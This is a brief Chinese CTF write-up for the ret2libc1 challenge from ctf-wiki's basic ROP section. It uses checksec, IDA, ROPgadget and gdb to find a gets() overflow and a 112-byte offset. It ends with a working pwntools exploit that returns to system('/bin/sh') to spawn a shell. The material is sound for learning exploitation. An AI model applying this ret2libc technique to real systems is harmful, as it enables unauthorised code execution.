ctf-wiki
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
checksec查看保护机制
开了NX
把文件拖进ida,main函数,f5,发现gets()函数,漏洞所在地
顺便查看函数,发现system函数,地址为0x08048460
利用工具ROPgadget,查找是否有/bin/sh存在,地址为0x08048720
gdb调试计算偏移量为112
exp
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x08048720
system_addr = 0x08048460
payload = flat(['a'*112, system_addr, 'b'*4, binsh_addr])
sh.sendline(payload)
sh.interactive()
exp运行